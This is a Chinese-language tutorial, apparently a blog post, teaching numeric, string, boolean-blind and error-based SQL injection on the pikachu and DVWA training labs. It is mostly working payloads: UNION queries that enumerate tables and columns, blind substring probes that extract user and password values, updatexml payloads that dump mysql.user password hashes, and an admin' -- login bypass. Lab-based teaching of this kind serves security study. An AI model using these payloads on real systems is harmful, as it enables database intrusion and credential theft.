目录

01-SQl注入基础步骤数字字符布尔盲注报错

01 SQl注入基础步骤(数字、字符、布尔盲注、报错)


1、SQL注入漏洞的概要

原理 :通过用户输入的数据未严格过滤,将恶意SQL语句拼接到原始查询中,从而操控数据库执行非预期操作。

危害

  1. 窃取敏感数据(用户信息、密码等)
  2. 篡改或删除数据库内容
  3. 提权攻击(获取服务器权限)

示例- 用户登录场景中,输入 admin' -- 绕过密码验证:

SELECT * FROM users WHERE username='admin' -- ' AND password='...'

2、SQL注入的常规思路

  1. 寻找注入点,可以借助web扫描工具实现。
  2. 通过注入点,尝试获取数据库用户名user()、数据库名称database()、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
  3. 猜解关键数据库表及其重要字段(获取数据库root账号、密码)
  4. 通过获取的用户信息,寻找后台登录
  5. 利用后台了解进一步的信息

3、数字型注入

特征 :参数为整数类型,无需引号闭合。

注入原理 :直接拼接用户输入到SQL语句的数值位置。

测试靶场为pikachu数字型SQL注入漏洞

https://i-blog.csdnimg.cn/direct/42c6bf3e3b4f4f8f9fa9d1ba133a33d9.png

网页中若遇到数字型的SQL漏洞注入点时,可以按照一下方式进行注入:

  1. 寻找注入点,查看是否有回显信息。

    3 and 1=1 
    3 order by 1
    null union select 1,2

    https://i-blog.csdnimg.cn/direct/2a6b4509d17044e9bf2cd24dcb92886d.png

  2. 利用准备好的SQL语句进行注入

    null union select(select version()),(select database())
    null union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null
    null union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null

    https://i-blog.csdnimg.cn/direct/38744acad7d34d998f556b518a3eacb4.png

4、字符型注入

特征 :参数为字符串类型,需用单引号闭合。

注入原理 :闭合原始引号并插入恶意代码,注释掉后续内容。

测试的靶场为DVWA,以下为详细步骤:

  1. 寻找注入点,查看是否有回显信息。

    1' and 1=1#
    1' order by 1#
    null' union select null,null#

    https://i-blog.csdnimg.cn/direct/0550c1aa35484578b5f0380f46cd05f6.png

  2. 利用准备好的SQL语句进行注入

    null' union select(select version()),(select database())#
    null' union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null#
    null' union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null#

    https://i-blog.csdnimg.cn/direct/2ae1ab91909843cf94c3dda6e1d6fab6.png

5、布尔盲注

适用场景 :页面无显式数据回显,但会根据SQL执行结果返回不同状态(如内容长度、布尔值)。

原理 :通过构造布尔条件( TRUE / FALSE ),观察页面响应差异,逐字符猜测数据。

测试的靶场为DVWA,以下为详细步骤:

  1. 根据页面的不同状态,查看是否有注入点

    1' and 1=1#

    https://i-blog.csdnimg.cn/direct/bf9a329b91b8405392901c57eae3be28.png

    1' and 1=2#

    https://i-blog.csdnimg.cn/direct/c5bccb9c80d7497ba82a807acf8bb5d6.png

  2. SQL语句准备

    1' and if (length(database())>4,1,0)# 
    1' and if (substring(database(),2,1)='v',1,0)#
    1' and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)#
    1' and if (substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',1,0)#
    1' and if (substring((select group_concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
  3. 利用BurpSuite工具,进行猜解名字

    https://i-blog.csdnimg.cn/direct/64b03b7da2974f7db1f7aacecd57d0f0.png

    https://i-blog.csdnimg.cn/direct/032b3902170c4f52b2b2e2f6989ad388.png

6、报错注入

适用场景 :页面显示数据库错误信息(如MySQL错误日志)。

原理 :利用数据库函数故意触发错误,将查询结果回显到报错信息中。

常见报错函数updatexml() , extractvalue() , exp()

SELECT * FROM users WHERE id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)

测试的靶场为DVWA,以下为详细步骤:

  1. 寻找注入点,查看页面是否报错。

    1'
    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

    https://i-blog.csdnimg.cn/direct/b8daba38aa2f4d979b6e032796c6dffb.png

  2. 利用准备好的SQL语句进行注入

    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,(select group_concat(authentication_string)  from mysql.user limit 1),0x7e),1)# 
    1' and updatexml(1,concat(0x7e,(substring((select group_concat(authentication_string)  from mysql.user limit 1),32,40)),0x7e),1)#

    https://i-blog.csdnimg.cn/direct/7c991e19c1c24224b95e5e02392d2478.png